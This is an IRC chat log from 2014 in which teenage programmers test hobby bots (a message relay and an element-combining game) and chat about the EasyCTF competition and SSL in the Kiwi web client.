[2014-11-29T11:55:00-0500] <+The_Master> goodbot, tell goodbot bla bla
[2014-11-29T11:55:00-0500] <goodbot> The_Master: I'm here now, you can tell me whatever you want!
[2014-11-29T11:55:20-0500] <+The_Master> goodbot, tell The_Master hi
[2014-11-29T11:55:20-0500] <goodbot> You can tell yourself that.
[2014-11-29T11:55:29-0500] <+The_Master> goodbot, help
[2014-11-29T11:55:29-0500] <goodbot> The_Master: Hi, I'm a bot. Say ".commands" to me in private for a list of my commands, or see http://willie.dftba.net for more general details. My owner is Hcnsh.
[2014-11-29T11:55:32-0500] <Tam> goodbot, tell The_Master hi
[2014-11-29T11:55:32-0500] <goodbot> Tam: I'll pass that on when The_Master is around.
[2014-11-29T11:55:38-0500] <Tam> say something, ezra
[2014-11-29T11:55:39-0500] <Tam> :p
[2014-11-29T11:55:42-0500] <+The_Master> bla
[2014-11-29T11:55:42-0500] <goodbot> The_Master: 2014-11-29 - 16:55:29 <Tam> tell The_Master hi
[2014-11-29T11:55:51-0500] <Tam> oh wow, we have notes now
[2014-11-29T11:55:53-0500] <Tam> <3
[2014-11-29T11:56:08-0500] <+Hcnsh> i'm going to make what jacob described later today
[2014-11-29T11:56:14-0500] <+Hcnsh> easyctf starts in a few mins
[2014-11-29T11:56:15-0500] <JacobEdelman> nice
[2014-11-29T11:56:25-0500] <JacobEdelman> yup
[2014-11-29T11:56:28-0500] <JacobEdelman> go on the irc
[2014-11-29T11:56:31-0500] <JacobEdelman> its on mibbit :(
[2014-11-29T11:56:37-0500] <+Hcnsh> wat
[2014-11-29T11:56:39-0500] <+Hcnsh> is that a server?
[2014-11-29T11:56:42-0500] <JacobEdelman> yes
[2014-11-29T11:56:43-0500] <+The_Master> goodbot, ddg
[2014-11-29T11:56:48-0500] <+The_Master> goodbot, ddg hi
[2014-11-29T11:56:49-0500] <+Hcnsh> it's .ddg
[2014-11-29T11:56:52-0500] <JacobEdelman> irc.mibbit.net
[2014-11-29T11:56:54-0500] <+The_Master> goodbot, .ddg hi
[2014-11-29T11:56:55-0500] <JacobEdelman> 6667
[2014-11-29T11:57:00-0500] <+The_Master> .ddg hi
[2014-11-29T11:57:00-0500] <JacobEdelman> #easyctf
[2014-11-29T11:57:01-0500] <goodbot> The_Master: https://www.hihostels.com/
[2014-11-29T11:57:03-0500] <Tam> ugh its on mibbit
[2014-11-29T11:57:04-0500] <JacobEdelman> (no ssl)
[2014-11-29T11:57:07-0500] <+The_Master> .ddg google
[2014-11-29T11:57:08-0500] <goodbot> The_Master: https://www.google.co.uk/
[2014-11-29T11:57:20-0500] <+The_Master> why .co.uk?
[2014-11-29T11:57:36-0500] <+Hcnsh> lol
[2014-11-29T11:58:17-0500] <+The_Master> .google the answer to life the universe and everything
[2014-11-29T11:58:18-0500] <goodbot> The_Master: http://en.wikipedia.org/wiki/42_(number)
[2014-11-29T11:58:29-0500] <+The_Master> goodbot: good goodbot
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[2014-11-29T14:24:16-0500] <failedxyz> hei
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[2014-11-29T15:39:10-0500] <@awe> JacobEdelman: why isn't it here?
[2014-11-29T15:39:10-0500] <goodbot> awe: 2014-11-29 - 16:47:44 <Hcnsh> tell awe hi awe
[2014-11-29T15:39:11-0500] <goodbot> awe: 2014-11-29 - 16:53:37 <Hcnsh> tell awe go suck a dick
[2014-11-29T15:39:23-0500] <@awe> JacobEdelman: Why didn't they do the EasyCTF IRC here?
[2014-11-29T15:39:30-0500] <JacobEdelman> I told them too
[2014-11-29T15:39:40-0500] <JacobEdelman> I think it might be because kiwi can
[2014-11-29T15:39:44-0500] <JacobEdelman> *can't
[2014-11-29T15:39:49-0500] <JacobEdelman> do ssl be defualt
[2014-11-29T15:40:02-0500] <JacobEdelman> although failedxyz may have just forgot
[2014-11-29T15:40:05-0500] <JacobEdelman> hes been quite busy
[2014-11-29T15:40:06-0500] <JacobEdelman> sorry
[2014-11-29T15:51:14-0500] <@awe> kiwi can do ssl?
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[2014-11-29T15:52:10-0500] <topkek> see
[2014-11-29T15:52:14-0500] <topkek> I told you.
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[2014-11-29T15:57:24-0500] <JacobEdelman> it can
[2014-11-29T15:57:32-0500] <JacobEdelman> but it can't do it be defualt
[2014-11-29T15:57:41-0500] <JacobEdelman> in embeded versions 
[2014-11-29T16:01:28-0500] <@awe> Ah.
[2014-11-29T16:04:20-0500] <@awe> JacobEdelman: Uhh, it supports SSL.
[2014-11-29T16:04:25-0500] <@awe> JacobEdelman: according to their website.
[2014-11-29T16:04:30-0500] <JacobEdelman> it does
[2014-11-29T16:04:36-0500] <JacobEdelman> just when you make an embeded version
[2014-11-29T16:04:43-0500] <JacobEdelman> you can set the defualt server, channelles ect.
[2014-11-29T16:04:49-0500] <JacobEdelman> but nto set it to defualt to ssl
[2014-11-29T16:04:58-0500] <JacobEdelman> so everybody would have to go in their and change it
[2014-11-29T16:06:11-0500] <@awe> I think you could change that.
[2014-11-29T16:42:53-0500] <alokpathy> nezorg: Will Dos Pueblos host a CTF?
[2014-11-29T16:43:06-0500] <nezorg> alokpathy: maybe
[2014-11-29T16:46:35-0500] <JacobEdelman> nezorg: come on, you should
[2014-11-29T16:47:33-0500] <alokpathy> You guys should.
[2014-11-29T16:47:54-0500] <nezorg> there is this, if you haven't seen it: http://croissantf.com
[2014-11-29T16:47:55-0500] <goodbot> [ CroissanTF ] - croissantf.com
[2014-11-29T16:49:21-0500] <alokpathy> oo
[2014-11-29T16:49:22-0500] <alokpathy> When?
[2014-11-29T16:50:47-0500] <nezorg> > soon™
[2014-11-29T16:51:01-0500] <nezorg> in valve time, that is
[2014-11-29T16:51:01-0500] <alokpathy> Any estimate? :P
[2014-11-29T16:52:34-0500] <JacobEdelman> oh yeah, I saw that
[2014-11-29T16:54:31-0500] <nezorg> alokpathy: it kinda fell apart once most of us went away to college
[2014-11-29T16:54:44-0500] <alokpathy> :(
[2014-11-29T16:55:23-0500] <nezorg> most of the problems are written, though
[2014-11-29T16:55:40-0500] <nezorg> although they're more college-level than high school-level
[2014-11-29T16:56:02-0500] <alokpathy> o
[2014-11-29T16:56:14-0500] <alokpathy> gg
[2014-11-29T16:56:20-0500] <alokpathy> college-level as in CSAW?
[2014-11-29T16:56:26-0500] <alokpathy> or Plaid?
[2014-11-29T16:57:46-0500] <nezorg> probably more csaw
[2014-11-29T16:59:00-0500] <alokpathy> That seems reasonable then?
[2014-11-29T16:59:09-0500] <alokpathy> That wasn't a question. Idk why a put a question mark.
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[2014-11-29T17:45:56-0500] <alokpathy> hardmath123: hiya
[2014-11-29T17:51:26-0500] <+hardmath123> hi alokpathy 
[2014-11-29T17:51:57-0500] <alokpathy> hardmath123: Where's alchemy?
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[2014-11-29T17:52:28-0500] <+hardmath123> There he is
[2014-11-29T17:52:44-0500] <alokpathy> @list
[2014-11-29T17:52:45-0500] <alchemy> You have: snowman, soil, energy, villain, lava, earth, air, cloud, mountain, neanderthal, sentience, electricity, snow, ice, ent, man, puddle, plant, fireman, fire
[2014-11-29T17:52:45-0500] <alchemy> You have: tree, rain, water, evil, awe, penguin, stone, olaf, light, metal, lightning, sandstorm, wind, steam, rust
[2014-11-29T17:52:45-0500] <alchemy> That's 35 out of 92!
[2014-11-29T17:52:45-0500] <+hardmath123> @list
[2014-11-29T17:52:46-0500] <alchemy> You have: snowman, soil, energy, villain, lava, earth, air, cloud, mountain, neanderthal, sentience, electricity, snow, ice, ent, man, puddle, plant, fireman, fire
[2014-11-29T17:52:46-0500] <alchemy> You have: tree, rain, water, evil, awe, penguin, stone, olaf, light, metal, lightning, sandstorm, wind, steam, rust
[2014-11-29T17:52:46-0500] <alchemy> That's 35 out of 92!
[2014-11-29T17:53:13-0500] <@awe> Gotta ping me, obviously.
[2014-11-29T17:53:39-0500] <+hardmath123> awe: sorry! i'll go fix that
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[2014-11-29T17:54:23-0500] <+hardmath123> @list
[2014-11-29T17:54:23-0500] <alchemy> You have: snowman, soil, energy, villain, lava, earth, air, cloud, mountain, neanderthal, sentience, electricity, snow, ice, aaron, ent, man, puddle, plant, fireman
[2014-11-29T17:54:23-0500] <alchemy> You have: fire, tree, rain, water, evil, penguin, stone, olaf, light, metal, lightning, sandstorm, wind, steam, rust
[2014-11-29T17:54:23-0500] <alchemy> That's 35 out of 92!
[2014-11-29T17:54:27-0500] <+hardmath123> Happy?
[2014-11-29T17:55:06-0500] <@awe> Yeah, thanks.
[2014-11-29T17:55:35-0500] <alokpathy> ye
[2014-11-29T17:55:37-0500] <alokpathy> Hm
[2014-11-29T17:55:40-0500] <alokpathy> @combine aaron man
[2014-11-29T17:55:41-0500] <alchemy> aaron and man don't make anything exciting.
[2014-11-29T17:55:43-0500] <alokpathy> @combine aaron lightning
[2014-11-29T17:55:44-0500] <alchemy> aaron and lightning don't make anything exciting.
[2014-11-29T17:55:49-0500] <alokpathy> @combine aaron penguuing
[2014-11-29T17:55:49-0500] <alchemy> You don't have penguuing!
[2014-11-29T17:55:50-0500] <alokpathy> @combine aaron penguuin
[2014-11-29T17:55:50-0500] <alchemy> You don't have penguuin!
[2014-11-29T17:55:52-0500] <alokpathy> @combine aaron penguin
[2014-11-29T17:55:52-0500] <alchemy> aaron and penguin don't make anything exciting.
[2014-11-29T17:55:54-0500] <alokpathy> I give up
[2014-11-29T17:56:32-0500] <+hardmath123> aaron doesn't mix with other things
[2014-11-29T17:57:06-0500] <+hardmath123> @status
[2014-11-29T17:57:12-0500] <+hardmath123> oh i didn't implement that :(
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[2014-11-29T17:58:10-0500] <+hardmath123> @status
[2014-11-29T17:58:10-0500] <alchemy> Alive and happy. Thanks for asking.
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[2014-11-29T18:06:01-0500] Set by awe on November 28, 2014 at 8:36:42 PM EST
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[2014-11-29T18:16:29-0500] <alokpathy> Tamini: Salutations.
[2014-11-29T18:16:33-0500] <alokpathy> @list
[2014-11-29T18:16:33-0500] <alchemy> You have: snowman, soil, energy, villain, lava, earth, air, cloud, mountain, neanderthal, sentience, electricity, snow, ice, aaron, ent, man, puddle, plant, fireman
[2014-11-29T18:16:33-0500] <alchemy> You have: fire, tree, rain, water, evil, penguin, stone, olaf, light, metal, lightning, sandstorm, wind, steam, rust
[2014-11-29T18:16:33-0500] <alchemy> That's 35 out of 92!
[2014-11-29T18:16:37-0500] <alokpathy> @comine water penguin
[2014-11-29T18:16:41-0500] <alokpathy> @combine water penguin
[2014-11-29T18:16:42-0500] <alchemy> water and penguin don't make anything exciting.
[2014-11-29T18:16:45-0500] <alokpathy> @combine water ice
[2014-11-29T18:16:46-0500] <alchemy> You already combined water and ice to get snow.
[2014-11-29T18:16:56-0500] <alokpathy> @combine snow neanderthal
[2014-11-29T18:16:57-0500] <alchemy> snow and neanderthal don't make anything exciting.
[2014-11-29T18:17:04-0500] <alokpathy> @combine snow fireman
[2014-11-29T18:17:04-0500] <alchemy> snow and fireman don't make anything exciting.
[2014-11-29T18:17:13-0500] <alokpathy> jesus christ holy crap make something already
[2014-11-29T18:17:18-0500] <alokpathy> @combine villain main
[2014-11-29T18:17:18-0500] <alchemy> You don't have main!
[2014-11-29T18:17:23-0500] <alokpathy> @combine villain man
[2014-11-29T18:17:23-0500] <alchemy> villain and man don't make anything exciting.
[2014-11-29T18:17:26-0500] <alokpathy> idfhglarhglearig
[2014-11-29T18:17:30-0500] <alokpathy> @combine energy fireman
[2014-11-29T18:17:31-0500] <alchemy> energy and fireman don't make anything exciting.
[2014-11-29T18:17:39-0500] <alokpathy> @combine snowman fireman
[2014-11-29T18:17:40-0500] <alchemy> snowman and fireman don't make anything exciting.
[2014-11-29T18:17:44-0500] <alokpathy> @combine snowman villain
[2014-11-29T18:17:45-0500] <alchemy> snowman and villain don't make anything exciting.
[2014-11-29T18:17:58-0500] <alokpathy> @combine evil fireman
[2014-11-29T18:17:58-0500] <alchemy> evil and fireman don't make anything exciting.
[2014-11-29T18:18:04-0500] <alokpathy> @combine sentience neanderthal
[2014-11-29T18:18:04-0500] <alchemy> sentience and neanderthal don't make anything exciting.
[2014-11-29T18:18:10-0500] <alokpathy> @combine sentience fireman
[2014-11-29T18:18:10-0500] <alchemy> sentience and fireman don't make anything exciting.
[2014-11-29T18:18:15-0500] <alokpathy> @combine sentience villain
[2014-11-29T18:18:15-0500] <alchemy> sentience and villain don't make anything exciting.
[2014-11-29T18:18:18-0500] <alokpathy> @combine sentience man
[2014-11-29T18:18:19-0500] <alchemy> You already combined sentience and man to get evil.
[2014-11-29T18:18:24-0500] <alokpathy> @combine sentience sentience
[2014-11-29T18:18:24-0500] <alchemy> sentience and sentience don't make anything exciting.
[2014-11-29T18:18:27-0500] <alokpathy> @combine fireman fireman
[2014-11-29T18:18:28-0500] <alchemy> fireman and fireman don't make anything exciting.
[2014-11-29T18:18:33-0500] <alokpathy> @combine rust rust
[2014-11-29T18:18:34-0500] <alchemy> rust and rust don't make anything exciting.
[2014-11-29T18:18:38-0500] <alokpathy> @list
[2014-11-29T18:18:38-0500] <alchemy> You have: snowman, soil, energy, villain, lava, earth, air, cloud, mountain, neanderthal, sentience, electricity, snow, ice, aaron, ent, man, puddle, plant, fireman
[2014-11-29T18:18:38-0500] <alchemy> You have: fire, tree, rain, water, evil, penguin, stone, olaf, light, metal, lightning, sandstorm, wind, steam, rust
[2014-11-29T18:18:38-0500] <alchemy> That's 35 out of 92!
[2014-11-29T18:18:48-0500] <alokpathy> @combine villain villain
[2014-11-29T18:18:48-0500] <alchemy> villain and villain don't make anything exciting.
[2014-11-29T18:18:52-0500] <alokpathy> @combine light villain
[2014-11-29T18:18:53-0500] <alchemy> light and villain don't make anything exciting.
[2014-11-29T18:18:55-0500] <alokpathy> @combine light evil
[2014-11-29T18:18:55-0500] <alchemy> light and evil don't make anything exciting.
[2014-11-29T18:18:59-0500] <alokpathy> @combine light metal
[2014-11-29T18:18:59-0500] <alchemy> light and metal don't make anything exciting.
[2014-11-29T18:19:04-0500] <alokpathy> @combine lightning metal
[2014-11-29T18:19:04-0500] <alchemy> lightning and metal don't make anything exciting.
[2014-11-29T18:19:05-0500] <alokpathy> I give up
[2014-11-29T18:22:16-0500] <+hardmath123> @list
[2014-11-29T18:22:16-0500] <alchemy> You have: snowman, soil, energy, villain, lava, earth, air, cloud, mountain, neanderthal, sentience, electricity, snow, ice, aaron, ent, man, puddle, plant, fireman
[2014-11-29T18:22:16-0500] <alchemy> You have: fire, tree, rain, water, evil, penguin, stone, olaf, light, metal, lightning, sandstorm, wind, steam, rust
[2014-11-29T18:22:16-0500] <alchemy> That's 35 out of 92!
[2014-11-29T18:22:25-0500] <+hardmath123> @status
[2014-11-29T18:22:25-0500] <alchemy> Alive and happy. Thanks for asking.
[2014-11-29T18:27:33-0500] <Tamini_> lol
[2014-11-29T18:27:48-0500] <Tamini_> @combine metal man
[2014-11-29T18:27:48-0500] <alchemy> You just discovered tool (metal + man)!
[2014-11-29T18:27:54-0500] <Tamini_> aww, not robot?
[2014-11-29T18:27:59-0500] <Tamini_> @combine tool man
[2014-11-29T18:28:00-0500] <alchemy> tool and man don't make anything exciting.
[2014-11-29T18:28:03-0500] alchemy (alchemy@pdgn-hq3.r2o.sr9d83.IP) left the channel ("So long, and thanks for all the fish.")
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[2014-11-29T18:28:09-0500] <+hardmath123> @hint
[2014-11-29T18:28:09-0500] <alchemy> You'll be happier if you get it yourself.
[2014-11-29T18:28:11-0500] <+hardmath123> @hint
[2014-11-29T18:28:12-0500] <alchemy> Not this time!
[2014-11-29T18:28:13-0500] <Tamini_> LOL
[2014-11-29T18:28:18-0500] <Tamini_> wow no hints
[2014-11-29T18:28:21-0500] <+hardmath123> @hint
[2014-11-29T18:28:22-0500] <alchemy> You'll be happier if you get it yourself.
[2014-11-29T18:28:28-0500] <+hardmath123> 1 in 10 times you get a hint
[2014-11-29T18:28:32-0500] <+hardmath123> @hint
[2014-11-29T18:28:32-0500] <alchemy> No can do, buddy.
[2014-11-29T18:28:43-0500] <Tamini_> @hint
[2014-11-29T18:28:43-0500] <alchemy> Not this time!
[2014-11-29T18:28:51-0500] <Tamini_> @hint
[2014-11-29T18:28:51-0500] <alchemy> Not this time!
[2014-11-29T18:28:53-0500] <Tamini_> wow bad luck
[2014-11-29T18:28:55-0500] <+hardmath123> @hint
[2014-11-29T18:28:55-0500] <alchemy> Not this time!
[2014-11-29T18:28:55-0500] <+hardmath123> @hint
[2014-11-29T18:28:56-0500] <alchemy> You'll be happier if you get it yourself.
[2014-11-29T18:28:57-0500] <+hardmath123> @hint
[2014-11-29T18:28:57-0500] <alchemy> No can do, buddy.
[2014-11-29T18:28:59-0500] <+hardmath123> @hint
[2014-11-29T18:28:59-0500] <alchemy> Not this time!
[2014-11-29T18:29:01-0500] <+hardmath123> @hint
[2014-11-29T18:29:01-0500] <alchemy> You'll be happier if you get it yourself.
[2014-11-29T18:29:04-0500] <+hardmath123> @hint
[2014-11-29T18:29:04-0500] <alchemy> Hint: It's possible to make penguin!
[2014-11-29T18:29:12-0500] <+hardmath123> Well, that worked.
[2014-11-29T18:29:13-0500] <Tamini_> we already have a penguin loser
[2014-11-29T18:29:27-0500] <+hardmath123> wow so aggressive Tamini_ 
[2014-11-29T18:29:45-0500] <Tamini_> oh alchemy, you know i love you
[2014-11-29T18:32:44-0500] <alokpathy> @list
[2014-11-29T18:32:44-0500] <alchemy> You have: snowman, soil, energy, villain, ice, earth, lightning, cloud, mountain, neanderthal, sentience, electricity, snow, lava, aaron, ent, penguin, puddle, plant, fireman
[2014-11-29T18:32:44-0500] <alchemy> You have: fire, tool, metal, rain, water, evil, man, stone, olaf, light, tree, air, sandstorm, rust, steam, wind
[2014-11-29T18:32:44-0500] <alchemy> That's 36 out of 92!
[2014-11-29T18:32:51-0500] <alokpathy> @combine tool penguin
[2014-11-29T18:32:52-0500] <alchemy> tool and penguin don't make anything exciting.
[2014-11-29T18:32:56-0500] <alokpathy> @combine tool lightning
[2014-11-29T18:32:56-0500] <alchemy> tool and lightning don't make anything exciting.
[2014-11-29T18:33:01-0500] <alokpathy> @combine tool fireman
[2014-11-29T18:33:01-0500] <alchemy> tool and fireman don't make anything exciting.
[2014-11-29T18:33:03-0500] <alokpathy> @combine tool man
[2014-11-29T18:33:04-0500] <alchemy> tool and man don't make anything exciting.
[2014-11-29T18:33:09-0500] <alokpathy> @combine tool neanderthal
[2014-11-29T18:33:10-0500] <alchemy> tool and neanderthal don't make anything exciting.
[2014-11-29T18:33:15-0500] <alokpathy> @combine tool sentience
[2014-11-29T18:33:15-0500] <alchemy> tool and sentience don't make anything exciting.
[2014-11-29T18:33:19-0500] <alokpathy> @combine tool snowman
[2014-11-29T18:33:19-0500] <alchemy> tool and snowman don't make anything exciting.
[2014-11-29T18:33:23-0500] <alokpathy> @combine tool soil
[2014-11-29T18:33:23-0500] <alchemy> tool and soil don't make anything exciting.
[2014-11-29T18:33:24-0500] <alokpathy> @combine tool energy
[2014-11-29T18:33:24-0500] <alchemy> tool and energy don't make anything exciting.
[2014-11-29T18:33:27-0500] <alokpathy> @combine tool villain
[2014-11-29T18:33:28-0500] <alchemy> tool and villain don't make anything exciting.
[2014-11-29T18:33:30-0500] <alokpathy> @combine tool ice
[2014-11-29T18:33:31-0500] <alchemy> tool and ice don't make anything exciting.
[2014-11-29T18:33:34-0500] <alokpathy> @combine tool earth
[2014-11-29T18:33:34-0500] <alchemy> tool and earth don't make anything exciting.
[2014-11-29T18:33:37-0500] <alokpathy> @combine tool lightning
[2014-11-29T18:33:37-0500] <alchemy> tool and lightning don't make anything exciting.
[2014-11-29T18:33:41-0500] <alokpathy> @combine tool cloud
[2014-11-29T18:33:42-0500] <alchemy> tool and cloud don't make anything exciting.
[2014-11-29T18:33:44-0500] <alokpathy> @combine tool mountian
[2014-11-29T18:33:44-0500] <alchemy> You don't have mountian!
[2014-11-29T18:33:46-0500] <alokpathy> @combine tool mountain
[2014-11-29T18:33:46-0500] <alchemy> tool and mountain don't make anything exciting.
[2014-11-29T18:33:52-0500] <alokpathy> @combine tool electricity
[2014-11-29T18:33:53-0500] <alchemy> tool and electricity don't make anything exciting.
[2014-11-29T18:33:57-0500] <alokpathy> @combine tool snow
[2014-11-29T18:33:57-0500] <alchemy> tool and snow don't make anything exciting.
[2014-11-29T18:33:59-0500] <alokpathy> @combine tool lava
[2014-11-29T18:33:59-0500] <alchemy> tool and lava don't make anything exciting.
[2014-11-29T18:34:01-0500] <alokpathy> @list
[2014-11-29T18:34:01-0500] <alchemy> You have: snowman, soil, energy, villain, ice, earth, lightning, cloud, mountain, neanderthal, sentience, electricity, snow, lava, aaron, ent, penguin, puddle, plant, fireman
[2014-11-29T18:34:01-0500] <alchemy> You have: fire, tool, metal, rain, water, evil, man, stone, olaf, light, tree, air, sandstorm, rust, steam, wind
[2014-11-29T18:34:01-0500] <alchemy> That's 36 out of 92!
[2014-11-29T18:34:06-0500] <alokpathy> @combine tool aaron
[2014-11-29T18:34:06-0500] <alchemy> tool and aaron don't make anything exciting.
[2014-11-29T18:34:08-0500] <alokpathy> @combine tool ent
[2014-11-29T18:34:09-0500] <alchemy> tool and ent don't make anything exciting.
[2014-11-29T18:34:12-0500] <alokpathy> @combine tool penguin
[2014-11-29T18:34:13-0500] <alchemy> tool and penguin don't make anything exciting.
[2014-11-29T18:34:16-0500] <alokpathy> @combine tool puddle
[2014-11-29T18:34:16-0500] <alchemy> tool and puddle don't make anything exciting.
[2014-11-29T18:34:19-0500] <alokpathy> @combine tool plant
[2014-11-29T18:34:19-0500] <alchemy> tool and plant don't make anything exciting.
[2014-11-29T18:34:21-0500] <alokpathy> @combine tool fire
[2014-11-29T18:34:22-0500] <alchemy> tool and fire don't make anything exciting.
[2014-11-29T18:34:24-0500] <alokpathy> @combine tool tool
[2014-11-29T18:34:24-0500] <alchemy> tool and tool don't make anything exciting.
[2014-11-29T18:34:28-0500] <alokpathy> @combine tool metal
[2014-11-29T18:34:28-0500] <alchemy> tool and metal don't make anything exciting.
[2014-11-29T18:34:32-0500] <alokpathy> @combine tool rain
[2014-11-29T18:34:32-0500] <alchemy> tool and rain don't make anything exciting.
[2014-11-29T18:34:36-0500] <alokpathy> @combine tool water
[2014-11-29T18:34:37-0500] <alchemy> tool and water don't make anything exciting.
[2014-11-29T18:34:39-0500] <alokpathy> @combine tool evil
[2014-11-29T18:34:39-0500] <alchemy> tool and evil don't make anything exciting.
[2014-11-29T18:34:42-0500] <alokpathy> @combine tool man
[2014-11-29T18:34:42-0500] <alchemy> tool and man don't make anything exciting.
[2014-11-29T18:34:46-0500] <alokpathy> @combine tool stone
[2014-11-29T18:34:46-0500] <alchemy> tool and stone don't make anything exciting.
[2014-11-29T18:34:49-0500] <alokpathy> @combine tool olaf
[2014-11-29T18:34:49-0500] <alchemy> tool and olaf don't make anything exciting.
[2014-11-29T18:34:51-0500] <alokpathy> @combine tool light
[2014-11-29T18:34:52-0500] <alchemy> tool and light don't make anything exciting.
[2014-11-29T18:34:54-0500] <alokpathy> @combine tool tree
[2014-11-29T18:34:54-0500] <alchemy> tool and tree don't make anything exciting.
[2014-11-29T18:34:56-0500] <alokpathy> @combine tool air
[2014-11-29T18:34:57-0500] <alchemy> tool and air don't make anything exciting.
[2014-11-29T18:34:59-0500] <alokpathy> @combine tool sandstorm
[2014-11-29T18:34:59-0500] <alchemy> tool and sandstorm don't make anything exciting.
[2014-11-29T18:35:02-0500] alchemy (alchemy@pdgn-hq3.r2o.sr9d83.IP) left the channel ("So long, and thanks for all the fish.")
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[2014-11-29T18:35:06-0500] <alokpathy> @combine tool rust
[2014-11-29T18:35:06-0500] <+hardmath123> @list
[2014-11-29T18:35:06-0500] <alchemy> tool and rust don't make anything exciting.
[2014-11-29T18:35:06-0500] <alchemy> You have: snowman, soil, energy, villain, ice, earth, lightning, cloud, mountain, neanderthal, sentience, electricity, snow, lava, aaron, ent, penguin, puddle, plant, fireman
[2014-11-29T18:35:06-0500] <alchemy> You have: fire, tool, metal, rain, water, evil, man, stone, olaf, light, tree, air, sandstorm, rust, steam, wind
[2014-11-29T18:35:06-0500] <alchemy> That's 36 out of 99!
[2014-11-29T18:35:10-0500] <+hardmath123> 99 now
[2014-11-29T18:35:11-0500] <alokpathy> @combine tool steam
[2014-11-29T18:35:11-0500] <alchemy> tool and steam don't make anything exciting.
[2014-11-29T18:35:15-0500] <alokpathy> @combine tool wind
[2014-11-29T18:35:15-0500] <alchemy> tool and wind don't make anything exciting.
[2014-11-29T18:35:17-0500] <alokpathy> wow
[2014-11-29T18:35:18-0500] <alokpathy> gdi tool
[2014-11-29T18:35:23-0500] <alokpathy> so useless
[2014-11-29T18:35:32-0500] <+hardmath123> try some of them again
[2014-11-29T18:35:38-0500] <+hardmath123> i added more tool mixables
[2014-11-29T18:35:45-0500] <alokpathy> @combine tool snowman
[2014-11-29T18:35:45-0500] <alchemy> tool and snowman don't make anything exciting.
[2014-11-29T18:35:47-0500] <+hardmath123> you can now make JacobEdelman 
[2014-11-29T18:35:50-0500] <alokpathy> @combine tool  soil
[2014-11-29T18:35:53-0500] <alokpathy> @combine tool soil
[2014-11-29T18:35:54-0500] <alchemy> tool and soil don't make anything exciting.
[2014-11-29T18:35:57-0500] <alokpathy> @combine tool energy
[2014-11-29T18:35:57-0500] <alchemy> tool and energy don't make anything exciting.
[2014-11-29T18:36:01-0500] <alokpathy> @combine tool villain
[2014-11-29T18:36:02-0500] <alchemy> tool and villain don't make anything exciting.
[2014-11-29T18:36:02-0500] <+hardmath123> @hint
[2014-11-29T18:36:03-0500] <alchemy> Hint: It's possible to make blackhat!
[2014-11-29T18:36:13-0500] <alokpathy> @combine tool ice
[2014-11-29T18:36:14-0500] <alchemy> tool and ice don't make anything exciting.
[2014-11-29T18:36:16-0500] <alokpathy> @combine tool earth
[2014-11-29T18:36:16-0500] <alchemy> You just discovered hole (tool + earth)!
[2014-11-29T18:36:20-0500] <alokpathy> ye
[2014-11-29T18:36:24-0500] <alokpathy> @combine tool lightning
[2014-11-29T18:36:24-0500] <alchemy> tool and lightning don't make anything exciting.
[2014-11-29T18:36:29-0500] <alokpathy> @combine tool cloud
[2014-11-29T18:36:30-0500] <alchemy> tool and cloud don't make anything exciting.
[2014-11-29T18:36:32-0500] <alokpathy> @combine tool man
[2014-11-29T18:36:32-0500] <alchemy> tool and man don't make anything exciting.
[2014-11-29T18:36:35-0500] <alokpathy> @combine tool penguin
[2014-11-29T18:36:36-0500] <alchemy> tool and penguin don't make anything exciting.
[2014-11-29T18:36:40-0500] <alokpathy> @combine tool neanderthal
[2014-11-29T18:36:41-0500] <alchemy> tool and neanderthal don't make anything exciting.
[2014-11-29T18:36:47-0500] <alokpathy> Tamini_: You take care of the rest
[2014-11-29T18:37:12-0500] alchemy (alchemy@pdgn-hq3.r2o.sr9d83.IP) left the channel ("So long, and thanks for all the fish.")
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[2014-11-29T18:37:16-0500] <+hardmath123> @list
[2014-11-29T18:37:16-0500] <alchemy> You have: snowman, soil, energy, villain, lava, earth, air, cloud, mountain, neanderthal, sentience, electricity, snow, ice, aaron, ent, man, puddle, plant, fireman
[2014-11-29T18:37:16-0500] <alchemy> You have: fire, tree, tool, rain, water, evil, hole, penguin, stone, olaf, light, metal, lightning, sandstorm, wind, steam, rust
[2014-11-29T18:37:16-0500] <alchemy> That's 37 out of 102!
[2014-11-29T18:37:18-0500] <+hardmath123> 102
[2014-11-29T18:37:27-0500] <+hardmath123> i should probably move those to a separate file now
[2014-11-29T18:37:29-0500] <+hardmath123> :P
[2014-11-29T18:43:27-0500] <Tamini_> im bad at this game
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[2014-11-29T18:48:27-0500] <+hardmath123> @encourage
[2014-11-29T18:48:27-0500] <alchemy-> I believe in you.
[2014-11-29T18:49:24-0500] alchemy- (alchemy-@pdgn-hq3.r2o.sr9d83.IP) left the channel ("So long, and thanks for all the fish.")
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[2014-11-29T18:50:03-0500] <+hardmath123> @encourage hardmath123 
[2014-11-29T18:50:10-0500] alchemy (alchemy@pdgn-hq3.r2o.sr9d83.IP) left IRC (Ping timeout: 121 seconds)
[2014-11-29T18:50:10-0500] <+hardmath123> @encourage hardmath123 
[2014-11-29T18:50:15-0500] <+hardmath123> ...
[2014-11-29T18:50:30-0500] alchemy- (alchemy-@pdgn-hq3.r2o.sr9d83.IP) left the channel ("So long, and thanks for all the fish.")
[2014-11-29T18:51:40-0500] alchemy (alchemy@pdgn-hq3.r2o.sr9d83.IP) joined the channel
[2014-11-29T18:51:43-0500] <+hardmath123> Yay.
[2014-11-29T18:51:47-0500] <+hardmath123> @encourage alchemy 
[2014-11-29T18:51:47-0500] <alchemy> It's for your own good, alchemy.
[2014-11-29T18:57:31-0500] Tam (Tamini@pdgn-k21.sg3.tnd9sr.IP) joined the channel
[2014-11-29T19:03:52-0500] <+hardmath123> so are you folks doing easyctf?
[2014-11-29T19:07:54-0500] <alokpathy> Yeah
[2014-11-29T19:19:11-0500] Disconnect for Sleep Mode
[2014-11-29T19:19:11-0500]  
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[2014-11-29T20:12:06-0500]  
[2014-11-29T20:12:06-0500] ————————————— Begin Session —————————————
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[2014-11-29T20:12:09-0500] Topic is Pidgey is on GitHub: http://git.io/caK7Kg
[2014-11-29T20:12:09-0500] Set by awe on November 28, 2014 at 8:36:42 PM EST
[2014-11-29T19:21:20-0500] <@LittleBobbyTables> @list
[2014-11-29T19:21:20-0500] <alchemy> You have: snowman, soil, energy, villain, lava, earth, air, cloud, mountain, neanderthal, sentience, electricity, snow, ice, aaron, ent, man, puddle, plant, fireman
[2014-11-29T19:21:20-0500] <alchemy> You have: fire, tree, tool, rain, water, evil, hole, penguin, stone, olaf, light, metal, lightning, sandstorm, wind, steam, rust
[2014-11-29T19:21:20-0500] <alchemy> That's 37 out of 102!
[2014-11-29T19:21:42-0500] <@LittleBobbyTables> @combine evil aaron
[2014-11-29T19:21:43-0500] <alchemy> evil and aaron don't make anything exciting.
